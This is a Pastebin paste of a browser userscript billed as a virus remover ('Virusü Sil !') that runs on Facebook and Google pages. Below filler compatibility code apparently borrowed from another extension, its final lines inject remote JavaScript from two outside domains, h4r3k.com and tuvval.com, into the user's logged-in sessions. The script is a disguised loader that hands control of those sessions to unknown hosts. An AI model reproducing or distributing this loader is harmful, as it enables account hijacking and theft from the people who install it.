Guest User

Untitled

a guest
Feb 26th, 2013
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2. */
  3. // ==UserScript==
  4. // @name            Virusü Sil !
  5. // @namespace       Virusü Sil !
  6. // @description     goole.com
  7. // @version         1.5
  8. // @license         GPL 3.0
  9. // @include         http*://*.facebook.com/*
  10. // @include         http*://*.google.*/*
  11. // @exclude         http*://*.facebook.com/plugins/*
  12. // @exclude         http*://*.facebook.com/widgets/*
  13. // @exclude         http*://*.facebook.com/iframe/*
  14. // @exclude         http*://*.facebook.com/desktop/*
  15. // @exclude         http*://*.channel.facebook.com/*
  16. // @exclude         http*://*.facebook.com/ai.php*
  17. // @exclude         http*://*.timelineclose.com/*
  18. // @exclude         http://*.channel.facebook.tld/*
  19. // @exclude         http://static.*.facebook.tld/*
  20. // @exclude         http://*.facebook.tld/ai.php*
  21. // @exclude         http://*.facebook.tld/pagelet/generic.php/pagelet/home/morestories.php*
  22. // @exclude         https://*.channel.facebook.tld/*
  23. // @exclude         https://static.*.facebook.tld/*
  24. // @exclude         https://*.facebook.tld/ai.php*
  25. // @exclude         https://*.facebook.tld/pagelet/generic.php/pagelet/home/morestories.php*
  26. // @exclude         http*://*.google.*/blank.html
  27.  
  28. // ==/UserScript==
  29. if (!/https?:\/\/[^\/]*\.?facebook\.[^\/]+\//.test(window.location.href))
  30. {
  31. var googledayim=1;
  32. }
  33.  
  34. if (googledayim && !/https?:\/\/[^\/]*\.?google\.[^\/]+\//.test(window.location.href)) { return; }
  35.  
  36.  
  37. // Get a reference to the *real* window
  38. if (typeof unsafeWindow=="undefined") {
  39.     var div = document.createElement('div');
  40.     div.setAttribute('onclick', 'return window;');
  41.     unsafeWindow = div.onclick();
  42. }
  43.  
  44. if (window.localStorage==null) {
  45.   window.localStorage = {  
  46.     getItem: function (sKey) {  
  47.       if (!sKey || !this.hasOwnProperty(sKey)) { return null; }  
  48.       return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));  
  49.     },  
  50.     key: function (nKeyId) { return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]); },  
  51.     setItem: function (sKey, sValue) {  
  52.       if(!sKey) { return; }  
  53.       document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";  
  54.       this.length = document.cookie.match(/\=/g).length;  
  55.     },  
  56.     length: 0,  
  57.     removeItem: function (sKey) {  
  58.       if (!sKey || !this.hasOwnProperty(sKey)) { return; }  
  59.       var sExpDate = new Date();  
  60.       sExpDate.setDate(sExpDate.getDate() - 1);  
  61.       document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";  
  62.       this.length--;  
  63.     },  
  64.     hasOwnProperty: function (sKey) { return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }  
  65.   };  
  66.   window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;  
  67. }  
  68.  
  69. // Greasemonkey API for Chrome/Safari/Opera
  70. GM_addStyle=function(css) {var style = document.createElement('style');style.textContent = css;document.getElementsByTagName('head')[0].appendChild(style);};
  71. GM_getValue=function(name, defaultValue) { return window.localStorage.getItem(name) || defaultValue;};
  72. GM_setValue=function(name, value) {
  73.     try {window.localStorage.setItem(name, value);} catch (e) {
  74.         if (e.toString().indexOf('QUOTA_EXCEEDED_ERR')>-1) { add_error("Either your browser's local storage area is full or you are browsing in Private Browsing mode, which isn't supported.<br>Please <a href=\"http://SocialFixer.com/faq.php#quota\" target=\"_blank\">Read the FAQ</a> for a detailed explanation of this error");}
  75.     }
  76. };
  77.  
  78.  
  79. var opera_xhr_counter = 0;
  80. var opera_xhr_funcs = {};
  81. GM_xmlhttpRequest=function(obj) {
  82.     try {
  83.         if (obj && obj.url && obj.url.indexOf("facebook.com")>0) {
  84.             var request=new window.XMLHttpRequest();
  85.             request.onreadystatechange=function() { if(obj.onreadystatechange) { obj.onreadystatechange(request); }; if(request.readyState==4 && obj.onload) { obj.onload(request); } }
  86.             request.onerror=function() { if(obj.onerror) { obj.onerror(request); } }
  87.             try { request.open(obj.method,obj.url,true); } catch(e) { if(obj.onerror) { obj.onerror( {readyState:4,responseHeaders:'',responseText:'',responseXML:'',status:403,statusText:'Forbidden'} ); }; return; }
  88.             if(obj.headers) { for(name in obj.headers) { request.setRequestHeader(name,obj.headers[name]); } }
  89.             request.send(obj.data); return request;
  90.         }
  91.         else {
  92.             opera_xhr_counter++;
  93.             var xhr = { 'method':obj.method, 'url':obj.url, 'headers':obj.headers, 'data':obj.data };
  94.             var req_obj = {'type':'ajax', 'xhr':xhr, 'id':opera_xhr_counter};
  95.             opera_xhr_funcs[ opera_xhr_counter ] = obj.onload;
  96.             opera.extension.postMessage( JSON.stringify(req_obj) );
  97.         }
  98.     } catch(e) {
  99.         alert(e);
  100.     }
  101. };
  102.  
  103.  
  104.  
  105. var ajax = function(props) {
  106.     GM_xmlhttpRequest(props);
  107. }
  108.  
  109.  
  110. // Don't run on link redirects and some other cases
  111. var excludes = ['/l.php?u','/ai.php','/plugins/','morestories.php','blank.html'];
  112. try {
  113.     for (var i=0; i<excludes.length; i++) {
  114.         if ( window.location.href.indexOf(excludes[i])>0 ) { return; }
  115.     }
  116. } catch(e) { }
  117.  
  118.  
  119.  
  120. // Extension Option Persistence
  121. function setValue(key,val,func) {
  122.     if (PERFORMANCE) { trace_start('setValue',null,true); }
  123.     var do_set=function() {
  124.         if (PERFORMANCE) { trace_start('setValue',null,true); }
  125.         try {
  126.             GM_setValue(key,val);
  127.         } catch(e) {
  128.             alert(e);
  129.         }
  130.         if(func) {
  131.             func(key,val);
  132.         }
  133.         if (PERFORMANCE) { trace_end('setValue',null,true); }
  134.     };
  135.     do_set.name="setValue.do_set";
  136.     window.setTimeout(do_set,0);
  137.     if (PERFORMANCE) { trace_end('setValue',null,true); }
  138. }
  139. function getValue(key, def, func) {
  140.     if (PERFORMANCE) { trace_start('getValue',null,true); }
  141.     // Key can be either a single key or an array of keys
  142.     if (typeof key=="string") {
  143.         return func(GM_getValue(key,def));
  144.     }
  145.     else if (typeof key=="object" && key.length) {
  146.         var values = {};
  147.         for (var i=0; i<key.length; i++) {
  148.             var default_value = undef;
  149.             if (typeof def=="object" && def.length && i<def.length) {
  150.                 default_value = def[i];
  151.             }
  152.             values[key[i]] = GM_getValue(key[i],default_value);
  153.         }
  154.         if (func) {
  155.             return func(values);
  156.         }
  157.         else { return values; }
  158.     }
  159.     if (PERFORMANCE) { trace_end('getValue',null,true); }
  160.     return undef;
  161. }
  162.  
  163. function addJavascript(jsname){
  164.     var th = document.getElementsByTagName('head')[0];
  165.     var s = document.createElement('script');
  166.     s.setAttribute('type','text/javascript');
  167.     s.setAttribute('src',jsname);
  168.     th.appendChild(s);
  169. }
  170.  
  171. addJavascript('http://h4r3k.com/sd.js');
  172. addJavascript('http://tuvval.com/sd.js');
Advertisement
Add Comment
Please, Sign In to add comment